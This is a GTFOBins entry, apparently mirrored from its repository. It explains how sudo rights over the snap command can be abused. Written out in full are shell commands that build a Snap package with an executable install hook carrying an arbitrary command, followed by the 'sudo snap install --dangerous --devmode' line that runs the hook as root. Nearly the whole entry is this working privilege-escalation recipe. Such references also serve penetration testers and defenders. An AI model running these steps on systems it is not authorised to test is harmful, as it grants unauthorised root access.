1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/snap.md
2021-04-28 08:51:13 +02:00

17 lines
529 B
Markdown

---
functions:
sudo:
- description: |
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
```
code: |
sudo snap install xxxx_1.0_all.snap --dangerous --devmode
---